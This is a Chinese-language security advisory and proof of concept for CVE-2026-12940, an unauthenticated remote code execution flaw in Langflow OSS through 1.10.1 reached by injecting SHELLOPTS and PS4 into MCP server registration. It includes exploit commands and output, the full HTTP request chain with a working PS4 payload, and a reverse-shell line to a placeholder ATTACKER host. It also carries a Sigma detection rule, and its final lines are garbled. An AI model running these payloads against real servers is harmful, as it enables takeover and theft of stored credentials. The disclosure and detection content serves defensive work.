在 Langflow OSS 直至 1.10.1 的版本中存在未认证远程代码执行漏洞。用于保护 MCP stdio 服务器配置的环境变量黑名单(DANGEROUS_ENV_VARS)遗漏了 SHELLOPTS、BASHOPTS 和 PS4。由于 MCP stdio 启动器会通过 bash -c 运行配置的命令,攻击者可以注入 SHELLOPTS=xtrace 以及 PS4 命令替换,并以 Langflow 进程用户的身份执行任意 shell 命令——无需有效的 MCP 命令,默认安装下也无需认证。
| CVE | CVE-2026-12940 |
| 产品 | Langflow OSS |
| 受影响版本 | 1.0.0 – 1.10.1 |
| 已修复版本 | 1.10.2 |
| 漏洞类型 | 通过环境变量注入导致的 OS 命令注入(CWE-78) |
| CVSS 3.1 | 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(IBM CNA) |
| 认证要求 | 默认安装下无需认证(1.10.1 中默认开启 AUTO_LOGIN) |
| 状态 | 确认存在漏洞 — 已在 langflowai/langflow:1.10.1 上端到端验证 |
Langflow 允许用户通过 POST /api/v2/mcp/servers/{name} 注册外部 MCP(Model Context Protocol)stdio 服务器。请求体会由 MCPServerConfig(src/backend/base/langflow/api/v2/schemas.py)进行校验,该校验对 command、args 以及 env 键(key) 都做了严格检查:
command 必须位于白名单中(node、python、npx、uvx、docker、sh、bash…)。args 会扫描 shell 元字符(;、|、$、`、(、)、…)以及危险关键字(-c、、、…)。两个缺陷组合起来形成 RCE:
env 值从未被清理。 只有键会对照黑名单检查;值会原样透传。因此,即使相同的字符在 args 中会被拒绝,$(id) 这样的 PS4 值却能顺利通过。
黑名单不完整。 在 1.10.1 中,DANGEROUS_ENV_VARS 不包含 shellopts、bashopts 或 ps4。
随后,启动器(src/lfx/src/lfx/base/mcp/util.py)在 Unix 上执行以下逻辑:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
当 SHELLOPTS=xtrace 时,bash 会在启动时启用 set -x,并且在执行第一条被追踪的行之前展开 PS4 提示符。因此,PS4 内部的命令替换会立即执行——与 command/args 无关,后者甚至无需是合法的。
黑名单被集中到 src/lfx/src/lfx/base/mcp/util.py 中的 DANGEROUS_MCP_ENV_VARS,并新增了 shellopts、bashopts、ps4(以及 env,作为纵深防御)。schemas.py 现在会调用 is_dangerous_mcp_env_var()。下面这个注册请求在 1.10.2 上会以 HTTP 422 被拒绝。
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
原始 HTTP 链路:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 提供了一个用于反向 shell / OAST 回调的原始原语:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
已修复版本的边界(请求被拒绝):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
完整抓取记录见 EVIDENCE.txt,源码级分析见 ANALYSIS.md。
确认存在漏洞:langflowai/langflow:1.10.1,已通过两种独立技术验证:
uid=1000(user) gid=0(root) groups=0(root),这是 id(1) 根据目标 /etc/passwd 解析出的真实输出,并非输入字符串 $(id …) 的回显。CALLBACK user@vbox 6.18.12+kali-amd64)。已修复:langflowai/langflow:1.10.2 — 相同的注册请求返回 HTTP 422。
关于“无需认证”声明的说明。 1.10.1 镜像默认启用
AUTO_LOGIN,因此/api/v1/auto_login会向任何不带凭据的调用者返回超级用户令牌——这正是默认部署下整条利用链无需认证的原因。在强制启用认证的实例上,任何持有有效令牌/API 密钥的已认证用户都可以触发相同的 RCE(通过--token传入)。另外,1.10.2 镜像还要求提供凭据才能启动,这是一项不相关的加固措施。
以 Langflow 服务账户身份执行任意命令。可完整读取 Langflow 数据库中的每个机密、凭据和流程,访问内部服务与云元数据,并以此为跳板进入周边网络。
AUTO_LOGIN 的情况下将 Langflow 暴露到不可信网络;请设置明确的超级用户凭据并禁用自动登录。查找 env 中带有 shell 控制变量的 MCP 服务器注册,以及 Langflow 进程衍生出的 bash 子进程:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma(进程创建):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).
evalpip installDANGEROUS_ENV_VARS(LD_PRELOAD、PATH、NODE_OPTIONS、PYTHONPATH、BASH_ENV、…)进行检查。